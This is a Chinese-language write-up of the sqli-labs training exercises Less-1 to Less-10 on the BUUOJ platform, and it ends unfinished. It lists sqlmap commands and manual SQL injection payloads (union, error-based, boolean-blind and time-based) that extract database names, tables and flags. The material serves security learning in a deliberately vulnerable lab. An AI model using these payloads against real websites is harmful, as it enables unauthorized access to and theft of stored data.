sqli-labs

感谢buuoj的环境,持续更新

1: GET – Error based – Single quotes – String 基于报错 单引号 字符型
sqlmap:
sqlmap -u fb9da23f-1b37-4cb4-a08f-9226fe24a803.node3.buuoj.cn/Less-1/?id=1 -D ctftraining -T flag -C flag --dump
flag{8c8c4c5c-8b05-47e3-995b-1b65b605301c}
手工 :
……/?id=1'报错:''1'' LIMIT 0,1'  输入的数据在一对单引号之间。
……/?id=1' -- -返回正常
……/?id=1' union select 1,2,3,4-- - 报错
……/?id=1' union select 1,2,3-- - 正常 一共有3列
……/?id=-1' union select 1,2,3 -- -
Your Login name:2 Your Password:3 得到回显的位置
……/?id=-1' union select 1,2,concat_ws(char(32,32,32),user(),database(),version()) -- -
root@localhost security 10.2.26-MariaDB-log 用户   库名   版本
……/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- -
ctftraining,information_schema,mysql,performance_schema,security,test 所有库名
……/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"-- -
flag,news,users ctftraining库的tables
……/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="flag"-- -
flag 字段名
……/?id=-1′ union select 1,2,group_concat(flag) from ctftraining.flag– –
flag{8c8c4c5c-8b05-47e3-995b-1b65b605301c} 数据

2: GET – Error based – Intiger based 基于报错 整数型
sqlmap:
sqlmap -u 0592fa2c-446a-4fad-95f0-5b438917656a.node3.buuoj.cn/Less-2/?id=1 -D ctftraining -T flag -C flag --dump
手工:
....../?id=1' 报错:'' LIMIT 0,1' 单引号多余,所以去掉
....../?id=1 union select 1,2,3,4 报错
....../?id=1 union select 1,2,3 正常,有三列
用户、库名、版本略
....../?id=0 union select 1,2,group_concat(schema_name) from information_schema.schemata
ctftraining,information_schema,mysql,performance_schema,security,test 所有库名
......
....../?id=0%20 union select 1,2,group_concat(flag) from ctftraining.flag
flag{d7c8d637-cf9f-44d1-a18e-b7a7be25345e}

3: GET – Error based – Single quotes with twist – string 基于报错 单引号 带括号 字符型
sqlmap:
无过滤直接跑
flag{d7c8d637-cf9f-44d1-a18e-b7a7be25345e}
手工:
Less-3/?id=1' 报错:''1'') LIMIT 0,1' 有一个括号,要闭合掉
其余步骤与1一样
Less-3/?id=0') union select 1,2,group_concat(flag) from ctftraining.flag--+
flag{d7c8d637-cf9f-44d1-a18e-b7a7be25345e}

4: GET – Error based – Double Quotes – String 基于报错 双引号 字符型
sqlmap:
无过滤直接跑。启动环境后所有环境的flag一样。就不写flag了。
手工:
Less-4/?id=1' 正常
Less-4/?id=1" 报错:'"1"") LIMIT 0,1' 双引号+括号。
把3的’换成”
Less-4/?id=0") union select 1,2,group_concat(flag) from ctftraining.flag--+

5: GET – Double Injection – Single Quotes – string 二次注入 单引号 字符型
sqlmap:
无过滤
手工:
Less-5/?id=1' union select 1,2,3,4--+ 报错,3个正常
Less-5/?id=-1' union select null,count(*),concat((select * from ctftraining.flag%20 limit 0,1),floor(rand()*2))as a from information_schema.tables group by a--+

6: GET – Double Injection – Double Quotes – string 二次注入 双引号 字符型
把5的’改成”

7: GET – Dump into outfile – String dump 到文件 字符型
sqlmap跑不出来,会有很多问号。
手工:
/Less-1/?id=-1' union select 1,2,group_concat(GLOBAL_VALUE) from information_schema.SYSTEM_VARIABLES-- -
是linux机。
但是无法判断网站的完整目录。
等知道判断办法了再来填坑。
因为请求过快会返回429,对脚本不太友好,所以这里用布尔盲注。
Less-7/?id=1')) and length(user())='14' --+ 用户名14位,就是root@localhost
Less-7/?id=1')) and (select count(schema_name) from information_schema.schemata)=6--+ 一共有6个库
Less-7/?id=1')) and length((select schema_name from information_schema.schemata limit 0,1))=11--+ 第一个库名一共11位
Less-7/?id=1')) and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='c'--+ 第一个库第一个字符为c
/Less-7/?id=1')) and substr((select schema_name from information_schema.schemata limit 0,1),2,1)='t'--+ 第二个字符为t
以此类推……

8: GET – Blind – Boolian Based – Single Quotes 盲注 基于布尔 单引号
sqlmap:
跑不出
手工:
Less-8/?id=1' --+ 返回正常
Less-8/?id=1' union select 1,2,3--+ 返回正常
布尔注就行

9: GET – Blind – Time based. – Single Quotes 盲注 基于时间 单引号
Less-9/?id=1′ and sleep(5)–+
延迟注入

10: GET – Blind – Time based – double quotes 盲注 基于时间 双引号
换成双引号

11—20
POST和http头

21。